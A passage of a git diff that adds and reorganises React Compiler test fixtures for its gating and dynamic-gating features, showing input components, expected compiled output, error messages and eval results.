+
+```
+      
+### Eval output
+(kind: ok) <div>hello world</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-disabled.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-disabled.js
new file mode 100644
index 000000000000..be29f1056875
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-disabled.js
@@ -0,0 +1,11 @@
+// @dynamicGating:{"source":"shared-runtime"}
+
+function Foo() {
+  'use memo if(getFalse)';
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-enabled.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-enabled.expect.md
new file mode 100644
index 000000000000..272c5a57143b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-enabled.expect.md
@@ -0,0 +1,50 @@
+
+## Input
+
+```javascript
+// @dynamicGating:{"source":"shared-runtime"}
+
+function Foo() {
+  'use memo if(getTrue)';
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { getTrue } from "shared-runtime"; // @dynamicGating:{"source":"shared-runtime"}
+const Foo = getTrue()
+  ? function Foo() {
+      "use memo if(getTrue)";
+      const $ = _c(1);
+      let t0;
+      if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+        t0 = <div>hello world</div>;
+        $[0] = t0;
+      } else {
+        t0 = $[0];
+      }
+      return t0;
+    }
+  : function Foo() {
+      "use memo if(getTrue)";
+      return <div>hello world</div>;
+    };
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>hello world</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-enabled.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-enabled.js
new file mode 100644
index 000000000000..9280e25d116f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-enabled.js
@@ -0,0 +1,11 @@
+// @dynamicGating:{"source":"shared-runtime"}
+
+function Foo() {
+  'use memo if(getTrue)';
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-invalid-identifier-nopanic.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-invalid-identifier-nopanic.expect.md
new file mode 100644
index 000000000000..c8c91910b02b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-invalid-identifier-nopanic.expect.md
@@ -0,0 +1,37 @@
+
+## Input
+
+```javascript
+// @dynamicGating:{"source":"shared-runtime"} @panicThreshold:"none"
+
+function Foo() {
+  'use memo if(true)';
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+// @dynamicGating:{"source":"shared-runtime"} @panicThreshold:"none"
+
+function Foo() {
+  "use memo if(true)";
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>hello world</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-invalid-identifier-nopanic.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-invalid-identifier-nopanic.js
new file mode 100644
index 000000000000..4d0d9c3bb86f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-invalid-identifier-nopanic.js
@@ -0,0 +1,11 @@
+// @dynamicGating:{"source":"shared-runtime"} @panicThreshold:"none"
+
+function Foo() {
+  'use memo if(true)';
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-invalid-multiple.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-invalid-multiple.expect.md
new file mode 100644
index 000000000000..4650588cc47f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-invalid-multiple.expect.md
@@ -0,0 +1,45 @@
+
+## Input
+
+```javascript
+// @dynamicGating:{"source":"shared-runtime"} @panicThreshold:"none" @loggerTestOnly
+
+function Foo() {
+  'use memo if(getTrue)';
+  'use memo if(getFalse)';
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+// @dynamicGating:{"source":"shared-runtime"} @panicThreshold:"none" @loggerTestOnly
+
+function Foo() {
+  "use memo if(getTrue)";
+  "use memo if(getFalse)";
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","fnLoc":{"start":{"line":3,"column":0,"index":86},"end":{"line":7,"column":1,"index":190},"filename":"dynamic-gating-invalid-multiple.ts"},"detail":{"options":{"category":"Gating","reason":"Multiple dynamic gating directives found","description":"Expected a single directive but found [use memo if(getTrue), use memo if(getFalse)]","suggestions":null,"loc":{"start":{"line":4,"column":2,"index":105},"end":{"line":4,"column":25,"index":128},"filename":"dynamic-gating-invalid-multiple.ts"}}}}
+```
+      
+### Eval output
+(kind: ok) <div>hello world</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-invalid-multiple.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-invalid-multiple.js
new file mode 100644
index 000000000000..867ac8ee34b1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-invalid-multiple.js
@@ -0,0 +1,12 @@
+// @dynamicGating:{"source":"shared-runtime"} @panicThreshold:"none" @loggerTestOnly
+
+function Foo() {
+  'use memo if(getTrue)';
+  'use memo if(getFalse)';
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-noemit.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-noemit.expect.md
new file mode 100644
index 000000000000..c00e78b6e7b5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-noemit.expect.md
@@ -0,0 +1,37 @@
+
+## Input
+
+```javascript
+// @dynamicGating:{"source":"shared-runtime"} @outputMode:"lint"
+
+function Foo() {
+  'use memo if(getTrue)';
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+// @dynamicGating:{"source":"shared-runtime"} @outputMode:"lint"
+
+function Foo() {
+  "use memo if(getTrue)";
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>hello world</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-noemit.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-noemit.js
new file mode 100644
index 000000000000..901a1dd3eae7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-noemit.js
@@ -0,0 +1,11 @@
+// @dynamicGating:{"source":"shared-runtime"} @outputMode:"lint"
+
+function Foo() {
+  'use memo if(getTrue)';
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/error.dynamic-gating-invalid-identifier.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/error.dynamic-gating-invalid-identifier.expect.md
new file mode 100644
index 000000000000..3d2d4012a6f9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/error.dynamic-gating-invalid-identifier.expect.md
@@ -0,0 +1,39 @@
+
+## Input
+
+```javascript
+// @dynamicGating:{"source":"shared-runtime"}
+
+function Foo() {
+  'use memo if(true)';
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Dynamic gating directive is not a valid JavaScript identifier
+
+Found 'use memo if(true)'.
+
+error.dynamic-gating-invalid-identifier.ts:4:2
+  2 |
+  3 | function Foo() {
+> 4 |   'use memo if(true)';
+    |   ^^^^^^^^^^^^^^^^^^^^ Dynamic gating directive is not a valid JavaScript identifier
+  5 |   return <div>hello world</div>;
+  6 | }
+  7 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/error.dynamic-gating-invalid-identifier.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/error.dynamic-gating-invalid-identifier.js
new file mode 100644
index 000000000000..c40055449723
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/error.dynamic-gating-invalid-identifier.js
@@ -0,0 +1,11 @@
+// @dynamicGating:{"source":"shared-runtime"}
+
+function Foo() {
+  'use memo if(true)';
+  return <div>hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-access-function-name-in-component.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-access-function-name-in-component.expect.md
similarity index 92%
rename from compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-access-function-name-in-component.expect.md
rename to compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-access-function-name-in-component.expect.md
index e056b6fa1c02..9b3633472d6e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-access-function-name-in-component.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-access-function-name-in-component.expect.md
@@ -18,8 +18,8 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
-import { c as _c } from "react/compiler-runtime"; // @gating
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating
 const Component = isForgetEnabled_Fixtures()
   ? function Component() {
       const $ = _c(1);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-access-function-name-in-component.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-access-function-name-in-component.js
similarity index 100%
rename from compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-access-function-name-in-component.js
rename to compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-access-function-name-in-component.js
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-nonreferenced-identifier-collision.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-nonreferenced-identifier-collision.expect.md
new file mode 100644
index 000000000000..40791a2454b6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-nonreferenced-identifier-collision.expect.md
@@ -0,0 +1,60 @@
+
+## Input
+
+```javascript
+// @gating
+import {identity, useHook as useRenamed} from 'shared-runtime';
+const _ = {
+  useHook: () => {},
+};
+identity(_.useHook);
+
+function useHook() {
+  useRenamed();
+  return <div>hello world!</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating
+import { identity, useHook as useRenamed } from "shared-runtime";
+const _ = {
+  useHook: isForgetEnabled_Fixtures() ? () => {} : () => {},
+};
+identity(_.useHook);
+const useHook = isForgetEnabled_Fixtures()
+  ? function useHook() {
+      const $ = _c(1);
+      useRenamed();
+      let t0;
+      if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+        t0 = <div>hello world!</div>;
+        $[0] = t0;
+      } else {
+        t0 = $[0];
+      }
+      return t0;
+    }
+  : function useHook() {
+      useRenamed();
+      return <div>hello world!</div>;
+    };
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>hello world!</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-nonreferenced-identifier-collision.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-nonreferenced-identifier-collision.js
new file mode 100644
index 000000000000..f5d557978b2d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-nonreferenced-identifier-collision.js
@@ -0,0 +1,16 @@
+// @gating
+import {identity, useHook as useRenamed} from 'shared-runtime';
+const _ = {
+  useHook: () => {},
+};
+identity(_.useHook);
+
+function useHook() {
+  useRenamed();
+  return <div>hello world!</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-preserves-function-properties.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-preserves-function-properties.expect.md
similarity index 89%
rename from compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-preserves-function-properties.expect.md
rename to compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-preserves-function-properties.expect.md
index 02f6bcb285a2..cc852d253844 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-preserves-function-properties.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-preserves-function-properties.expect.md
@@ -12,8 +12,8 @@ export function Component2() {
   return <></>;
 }
 
-Component.displayName = "Component ONE";
-Component2.displayName = "Component TWO";
+Component.displayName = 'Component ONE';
+Component2.displayName = 'Component TWO';
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
@@ -26,8 +26,8 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
-import { c as _c } from "react/compiler-runtime"; // @gating
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating
 const Component = isForgetEnabled_Fixtures()
   ? function Component() {
       const $ = _c(1);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-preserves-function-properties.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-preserves-function-properties.tsx
new file mode 100644
index 000000000000..f7cd9b590415
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-preserves-function-properties.tsx
@@ -0,0 +1,18 @@
+// @gating
+
+export default function Component() {
+  return <></>;
+}
+
+export function Component2() {
+  return <></>;
+}
+
+Component.displayName = 'Component ONE';
+Component2.displayName = 'Component TWO';
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  sequentialRenders: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-default-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-default-function.expect.md
similarity index 75%
rename from compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-default-function.expect.md
rename to compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-default-function.expect.md
index b57113035a83..fbe3c554c196 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-default-function.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-default-function.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-// @gating @compilationMode(annotation)
+// @gating @compilationMode:"annotation"
 export default function Bar(props) {
-  "use forget";
+  'use forget';
   return <div>{props.bar}</div>;
 }
 
@@ -13,17 +13,22 @@ function NoForget(props) {
 }
 
 function Foo(props) {
-  "use forget";
+  'use forget';
   return <Foo>{props.bar}</Foo>;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Bar'),
+  params: [{bar: 2}],
+};
+
 ```
 
 ## Code
 
 ```javascript
-import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
-import { c as _c } from "react/compiler-runtime"; // @gating @compilationMode(annotation)
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating @compilationMode:"annotation"
 const Bar = isForgetEnabled_Fixtures()
   ? function Bar(props) {
       "use forget";
@@ -66,5 +71,12 @@ const Foo = isForgetEnabled_Fixtures()
       return <Foo>{props.bar}</Foo>;
     };
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval("Bar"),
+  params: [{ bar: 2 }],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) <div>2</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-default-function.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-default-function.js
new file mode 100644
index 000000000000..369dc3bbd078
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-default-function.js
@@ -0,0 +1,19 @@
+// @gating @compilationMode:"annotation"
+export default function Bar(props) {
+  'use forget';
+  return <div>{props.bar}</div>;
+}
+
+function NoForget(props) {
+  return <Bar>{props.noForget}</Bar>;
+}
+
+function Foo(props) {
+  'use forget';
+  return <Foo>{props.bar}</Foo>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Bar'),
+  params: [{bar: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-function-and-default.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-function-and-default.expect.md
new file mode 100644
index 000000000000..2a0d3a598ec5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-function-and-default.expect.md
@@ -0,0 +1,109 @@
+
+## Input
+
+```javascript
+// @gating @compilationMode:"annotation"
+export default function Bar(props) {
+  'use forget';
+  return <div>{props.bar}</div>;
+}
+
+function NoForget(props) {
+  return <Bar>{props.noForget}</Bar>;
+}
+
+function Foo(props) {
+  'use forget';
+  if (props.bar < 0) {
+    return props.children;
+  }
+  return (
+    <Foo bar={props.bar - 1}>
+      <NoForget />
+    </Foo>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Bar'),
+  params: [{bar: 2}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating @compilationMode:"annotation"
+const Bar = isForgetEnabled_Fixtures()
+  ? function Bar(props) {
+      "use forget";
+      const $ = _c(2);
+      let t0;
+      if ($[0] !== props.bar) {
+        t0 = <div>{props.bar}</div>;
+        $[0] = props.bar;
+        $[1] = t0;
+      } else {
+        t0 = $[1];
+      }
+      return t0;
+    }
+  : function Bar(props) {
+      "use forget";
+      return <div>{props.bar}</div>;
+    };
+export default Bar;
+
+function NoForget(props) {
+  return <Bar>{props.noForget}</Bar>;
+}
+const Foo = isForgetEnabled_Fixtures()
+  ? function Foo(props) {
+      "use forget";
+      const $ = _c(3);
+
+      if (props.bar < 0) {
+        return props.children;
+      }
+
+      const t0 = props.bar - 1;
+      let t1;
+      if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+        t1 = <NoForget />;
+        $[0] = t1;
+      } else {
+        t1 = $[0];
+      }
+      let t2;
+      if ($[1] !== t0) {
+        t2 = <Foo bar={t0}>{t1}</Foo>;
+        $[1] = t0;
+        $[2] = t2;
+      } else {
+        t2 = $[2];
+      }
+      return t2;
+    }
+  : function Foo(props) {
+      "use forget";
+      if (props.bar < 0) {
+        return props.children;
+      }
+      return (
+        <Foo bar={props.bar - 1}>
+          <NoForget />
+        </Foo>
+      );
+    };
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval("Bar"),
+  params: [{ bar: 2 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>2</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-function-and-default.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-function-and-default.js
new file mode 100644
index 000000000000..af2f09813087
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-function-and-default.js
@@ -0,0 +1,26 @@
+// @gating @compilationMode:"annotation"
+export default function Bar(props) {
+  'use forget';
+  return <div>{props.bar}</div>;
+}
+
+function NoForget(props) {
+  return <Bar>{props.noForget}</Bar>;
+}
+
+function Foo(props) {
+  'use forget';
+  if (props.bar < 0) {
+    return props.children;
+  }
+  return (
+    <Foo bar={props.bar - 1}>
+      <NoForget />
+    </Foo>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Bar'),
+  params: [{bar: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-function.expect.md
similarity index 76%
rename from compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-function.expect.md
rename to compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-function.expect.md
index 96b442b7a016..9661fe3d2bf9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test-export-function.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-function.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-// @gating @compilationMode(annotation)
+// @gating @compilationMode:"annotation"
 export function Bar(props) {
-  "use forget";
+  'use forget';
   return <div>{props.bar}</div>;
 }
 
@@ -13,17 +13,22 @@ export function NoForget(props) {
 }
 
 export function Foo(props) {
-  "use forget";
+  'use forget';
   return <Foo>{props.bar}</Foo>;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Bar'),
+  params: [{bar: 2}],
+};
+
 ```
 
 ## Code
 
 ```javascript
-import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
-import { c as _c } from "react/compiler-runtime"; // @gating @compilationMode(annotation)
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating @compilationMode:"annotation"
 export const Bar = isForgetEnabled_Fixtures()
   ? function Bar(props) {
       "use forget";
@@ -66,5 +71,12 @@ export const Foo = isForgetEnabled_Fixtures()
       return <Foo>{props.bar}</Foo>;
     };
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval("Bar"),
+  params: [{ bar: 2 }],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) <div>2</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-function.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-function.js
new file mode 100644
index 000000000000..e07144b160f9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-function.js
@@ -0,0 +1,19 @@
+// @gating @compilationMode:"annotation"
+export function Bar(props) {
+  'use forget';
+  return <div>{props.bar}</div>;
+}
+
+export function NoForget(props) {
+  return <Bar>{props.noForget}</Bar>;
+}
+
+export function Foo(props) {
+  'use forget';
+  return <Foo>{props.bar}</Foo>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Bar'),
+  params: [{bar: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test.expect.md
similarity index 75%
rename from compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test.expect.md
rename to compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test.expect.md
index 5152a7817b3a..0cd67fd1d207 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-test.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-// @gating @compilationMode(annotation)
+// @gating @compilationMode:"annotation"
 function Bar(props) {
-  "use forget";
+  'use forget';
   return <div>{props.bar}</div>;
 }
 
@@ -13,17 +13,22 @@ function NoForget(props) {
 }
 
 function Foo(props) {
-  "use forget";
+  'use forget';
   return <Foo>{props.bar}</Foo>;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Bar'),
+  params: [{bar: 2}],
+};
+
 ```
 
 ## Code
 
 ```javascript
-import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
-import { c as _c } from "react/compiler-runtime"; // @gating @compilationMode(annotation)
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating @compilationMode:"annotation"
 const Bar = isForgetEnabled_Fixtures()
   ? function Bar(props) {
       "use forget";
@@ -65,5 +70,12 @@ const Foo = isForgetEnabled_Fixtures()
       return <Foo>{props.bar}</Foo>;
     };
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval("Bar"),
+  params: [{ bar: 2 }],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) <div>2</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test.js
new file mode 100644
index 000000000000..bc45933af3a2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test.js
@@ -0,0 +1,19 @@
+// @gating @compilationMode:"annotation"
+function Bar(props) {
+  'use forget';
+  return <div>{props.bar}</div>;
+}
+
+function NoForget(props) {
+  return <Bar>{props.noForget}</Bar>;
+}
+
+function Foo(props) {
+  'use forget';
+  return <Foo>{props.bar}</Foo>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Bar'),
+  params: [{bar: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-use-before-decl-ref.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-use-before-decl-ref.expect.md
new file mode 100644
index 000000000000..9730119c2504
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-use-before-decl-ref.expect.md
@@ -0,0 +1,60 @@
+
+## Input
+
+```javascript
+// @gating
+import {createRef, forwardRef} from 'react';
+import {Stringify} from 'shared-runtime';
+
+const Foo = forwardRef(Foo_withRef);
+function Foo_withRef(props, ref) {
+  return <Stringify ref={ref} {...props} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('(...args) => React.createElement(Foo, args)'),
+  params: [{prop1: 1, prop2: 2, ref: createRef()}],
+};
+
+```
+
